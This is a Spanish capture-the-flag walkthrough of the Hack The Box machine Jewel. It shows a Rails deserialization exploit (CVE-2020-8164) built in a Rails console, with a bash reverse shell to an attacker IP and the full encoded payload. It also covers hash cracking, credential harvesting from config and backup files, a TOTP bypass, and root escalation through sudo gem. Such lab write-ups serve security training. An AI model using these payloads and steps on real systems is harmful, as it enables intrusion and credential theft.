En este post voy a vulnerar la máquina Jewel de Hack the Box. Es una máquina Linux de nivel medio basada en Ruby y PostgreSQL.
Enumeración
Comienzo escaneado los 65535 puertos del protocolo TCP, estableciendo un envío mínimo de 5000 paquetes por segundo; esto es muy ruidoso pero al ser un entorno controlado no me preocupa el ruido.
nmap -p- -n --open --min-rate 5000 10.10.10.211 -Pn

En la máquina hay tres puertos abiertos. Escaneo los tres puertos que he encontrado para ver la versión de los servicios que están corriendo en ellos y ejecuto una serie de scripts de enumeración básicos.
nmap -p22,8000,8080 -sCV 10.10.10.211 -Pn Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2022-02-02 19:08 CET Nmap scan report for 10.10.10.211 Host is up (0.12s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 fd:80:8b:0c:73:93:d6:30:dc:ec:83:55:7c:9f:5d:12 (RSA) | 256 61:99:05:76:54:07:92:ef:ee:34:cf:b7:3e:8a:05:c6 (ECDSA) |_ 256 7c:6d:39:ca:e7:e8:9c:53:65:f7:e2:7e:c7:17:2d:c3 (ED25519) 8000/tcp open http Apache httpd 2.4.38 |_http-generator: gitweb/2.20.1 git/2.20.1 | http-open-proxy: Potentially OPEN proxy. |_Methods supported:CONNECTION |_http-server-header: Apache/2.4.38 (Debian) | http-title: 10.10.10.211 Git |_Requested resource was http://10.10.10.211:8000/gitweb/ 8080/tcp open http nginx 1.14.2 (Phusion Passenger 6.0.6) |_http-server-header: nginx/1.14.2 + Phusion Passenger 6.0.6 |_http-title: BL0G! Service Info: Host: jewel.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 16.08 seconds

Con el ssh poco puedo hacer así que leo las cabeceras de las dos webs con whatweb.
whatweb -a 3 http://10.10.10.211:8000/ whatweb -a 3 http://10.10.10.211:8080/

Leyendo las cabeceras, veo que el servicio del puerto 8000 me redirige a un directorio llamado /gitweb/ y el servicio del puerto 8080 parece un sitio web de blog construido en Ruby.
HTTP
Puerto 8080
Comienzo accediendo a la web desde el navegador. De entrada me encuentro que el post mas reciente ha sido escrito por el usuario jennifer.

Continuo accediendo a la pestaña de artículos (Articles) y encuentro un segundo usuario llamado bill.

Me dirijo a la pestaña de Sign up (arriba a la derecha) y creo un nuevo usuario llamado evil.


Me «deslogueo» y me vuelvo a «loguear» y veo que me aparece una nueva pestaña, arriba a la derecha, llamada Profile.

Accedo a la sección de Profile y modifico mi nombre de usuario por el de newevil.



Como veo que puedo puedo modificar mi nombre de usuario sin necesidad de tener un email válido, me pregunto si puedo modificarlo por el de un usuario existente y «hacerme» con ese usuario. Intento modificar mi nombre de usuario por el de jennifer pero me genera un mensaje de error.

Puerto 8000
Accedo a esta web desde el navegador y veo que parece que se está ejecutando una versión web de Git para almacenar proyectos. Solo hay un proyecto llamado .git la descripción del proyecto coincide con el nombre de la web del puerto 8080.

Entro en la pestaña de log y veo que solo hay un commit y que lo ha llevado a cabo bill.

Pincho en commit y me permite ver todos sus ficheros.

En la descripción del proyecto se indica el mismo nombre que en la web del puerto 8080 y el commit lo ha realizado un usuario con el mismo nombre que uno de los usuarios que publican en la web por lo que es muy probable que la web desplegada sea la misma que la que hay guardada en el proyecto .git.
Me descargo el snapshot del proyecto a mi máquina local y lo descomprimo.
tar -xf git-5d6f436.tar.gz

Accedo al proyecto, listo su contenido y lo primero que me llama la atención es un fichero llamado bd.sql.

Exploro el fichero en busca de contraseñas y encuentro los hashes de los usuarios bill y jennifer. Estos mismos usuarios eran los que habían publicado contenido en la web.
cat bd.sql | grep -i password cat bd.sql | grep -i password -C 3 cat bd.sql | grep -i -E 'bill|jennifer'

Guardo estos hashes y los intento romper por fuerza bruta con John the Ripper y el diccionario rockyou.txt pero no lo consigo, lo que quiere decir que ninguna de las dos contraseñas está dentro del diccionario.

Abro el fichero Gemfile y busco la versión de Ruby y las versiones de las gemas que hay instaladas en la web. Se está ejecutando Ruby en su versión 2.5.5 y la gema rails en su versión 5.2.2.1. Tras buscar un poco, encuentro que esta versión de rails posee una vulnerabilidad registrada con el código CVE-2020-8164 que permite generar un RCE.

Buscando por github, encuentro una PoC del usuario masahiro331 que indica como generar un payload que provocará el RCE.
Explotación
En primer lugar tengo que crear un nuevo proyecto en rails y accedo a él.
rails new evil

ll cd evil/ ll

Abro una consola de rails y ejecuto los comandos indicados en la PoC pero modifico el primero para obtener una shell reversa en bash. En el sexto comando de la PoC hay un error y es que no declara la variable payload así que, para este caso, corrijo el error y declaro la variable.
bundle exec rails console
irb(main):001:0> code = '`/bin/bash -c "bash -i >& /dev/tcp/10.10.14.7/9879 0>&1"`'
irb(main):002:0> erb = ERB.allocate
irb(main):003:0> erb.instance_variable_set :@src, code
irb(main):004:0> erb.instance_variable_set :@filename, "1"
irb(main):005:0> erb.instance_variable_set :@lineno, 1
irb(main):006:0> payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)
irb(main):007:0> puts "Payload"
irb(main):008:0> require 'uri'
irb(main):009:0> puts URI.encode_www_form(payload: payload)

El payload obtenido es el siguiente.
%04%08o%3A%40ActiveSupport%3A%3ADeprecation%3A%3ADeprecatedInstanceVariableProxy%09%3A%0E%40instanceo%3A%08ERB%08%3A%09%40srcI%22%3E%60%2Fbin%2Fbash+-c+%22bash+-i+%3E%26+%2Fdev%2Ftcp%2F10.10.14.7%2F9879+0%3E%261%22%60%06%3A%06ET%3A%0E%40filenameI%22%061%06%3B%09T%3A%0C%40linenoi%06%3A%0C%40method%3A%0Bresult%3A%09%40varI%22%0C%40result%06%3B%09T%3A%10%40deprecatorIu%3A%1FActiveSupport%3A%3ADeprecation%00%06%3B%09T
Con el payload, vuelvo a mi perfil de usuario de la web del puerto 8080. Modifico el nombre de mi usuario y capturo la petición con Burp Suite.


Pongo un netcat a la escucha por el puerto 9879, sustituyo el contenido del parámetro user[username] de la petición por el payload y mando la petición.

Al volver a la ventana me aparece un mensaje de error pero, si voy a la consola de netcat, veo que he conseguido la shell reversa.

La consola que he obtenido no es tty y esto es necesario para el OSCP. Al final del post desarrollaré como conseguirla.

La flag de usuario la encuentro en el directorio /home del usuario bill.

Escalada de Privilegios
Ejecuto el comando sudo -l para enumerar los privilegios de root (los comandos de root) que puedo ejecutar pero en este caso me pide una contraseña.
bill@jewel:~$ sudo -l
[sudo] password for bill:
En este punto, puedo obtener la contraseña de bill de dos formas. La primera obteniendo credenciales a través de un fichero de backup y la segunda accediendo a una base de datos.
Backup
Me dirijo a la ruta /var/backups, filtro por el código sql y encuentro un fichero con esta extensión.
cd /var/backups ls | grep sql

Busco contraseñas en este fichero y encuentro hashes de contraseñas para los usuarios bill y jennifer.
cat dump_2020-08-27.sql | grep password cat dump_2020-08-27.sql | grep -i -E "bill|jennifer"

Anteriormente, ya he encontrado hashes para estos usuarios (el el fichero descargado del proyecto .git) pero, como esto es un fichero de backup, podrían ser diferentes.
Guardo estos hashes en un fichero que llamaré backupcred y, con la herramienta diff, los comparo con los anteriores de forma que mostrará solo las diferencias entre ambos ficheros.
diff backupcred credenciales

Lo que sospechaba, los hashes son diferentes. Vuelvo a romper los hashes con John the Ripper y rockyou.txt y consigo la contraseña para el usuario bill, obteniendo las credenciales bill:spongebob.
john -w=/usr/share/wordlists/rockyou.txt backupcred

Base de Datos
Como en la máquina hay una web que requiere autenticación, puede que haya credenciales ocultas por algún lado y suelen estar almacenadas en algún fichero de configuración. Me dirijo a la ruta /blog/config y encuentro un fichero llamado database.yml.

Busco credenciales dentro de este fichero y encuentro las credenciales rails_dev:beiw,aDoed1. También descubro que la base de datos de producción es blog_developmnet.
cat database.yml | grep -v "#" | grep .

Como al principio del fichero me indica que se trata de una base de datos postgresql, me conecto a ella y enumero las tablas que contiene.
psql -h localhost -U rails_dev -d blog_development
blog_development=> \dt

Como veo en la imagen anterior, la última tabla se llama users. Muestro el contenido de la tabla users y encuentro los hashes para los usuarios bill, jennifer y evil (que yo he creado).
blog_development=> select * from users;

Una vez he obtenido la contraseña de bill, vuelvo a ejecutar sudo -l pero, después de introducir la contraseña, me pide un código de beneficiación que no poseo.
bill@jewel:~$ sudo -l
[sudo] password for bill:
Verification code:
Listo el contenido oculto del directorio raíz del usuario bill y encuentro un fichero de google authenticator. Al abrir este fichero encuentro un token para un generador de autenticación de dos factores TOTP.


Con la herramienta oathtool y el token del fichero genero el código de verificación pero sigue siendo erróneo.
oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4'

Después de varios intentos veo que el código de verificación que genero cambia cada cierto tiempo así que seguramente así que, seguramente, el código se genere con el token y con la hora del sistema, pero eso no explica por qué no es válido.
Compruebo la fecha y la hora de los dos sistemas y veo que, aunque la fecha es la misma, la zona horaria y la hora son distintas, por eso no está funcionando el código de verificación que genero.
timedatectl

watch -n 1 date

Cambio la hora de mi máquina local con el comando date -s [hh:mm:ss] y pongo la misma que en la máquina víctima. Vuelvo a comprobar la hora y veo que es la misma.

Vuelvo a generar el código de verificación.
oathtool -b --totp '2UQI3R52WFCLE6JTLDCSJYMJH4'

Vuelvo a ejecutar sudo -l y veo todos los usuarios pueden ejecutar como root el comando gem sin necesidad de introducir contraseña.

Buscando en GTFOBins encuentro una forma de escalar privilegios a través del comando gem, únicamente sustituyo su consola en sh por una consola en bash.
sudo gem open -e "/bin/bash -c /bin/bash" rdoc

La flag de root la encuentro en el directorio raíz del usuario root.

tty
Como ya he dicho anteriormente en otros post, para que la máquina esté resuelta de modo OSCP Friendly, es necesario conseguir una shell tty. Con los siguientes comandos consigo convertir la shell en shell tty en python facilmente.
script /dev/null -c bash ^Z
CTRL + Z
Ahora sin cambiar de consola.
stty raw -echo; fg reset
Y con esto vuelvo a la shell reversa. Añado los siguientes comandos.
xterm export TERM=xterm export SHELL=bash
Y ya he conseguido una consola tty.
Para finalizar (esto es opcional) solo me faltaría adaptar las dimensiones de la shell de la consola a las de mi ventana de shell. En una shell de mi máquina atacante compruebo las dimensiones de la ventana.
stty size
Y las modifico en la shell reversa.
stty rows [X] columns [Y]
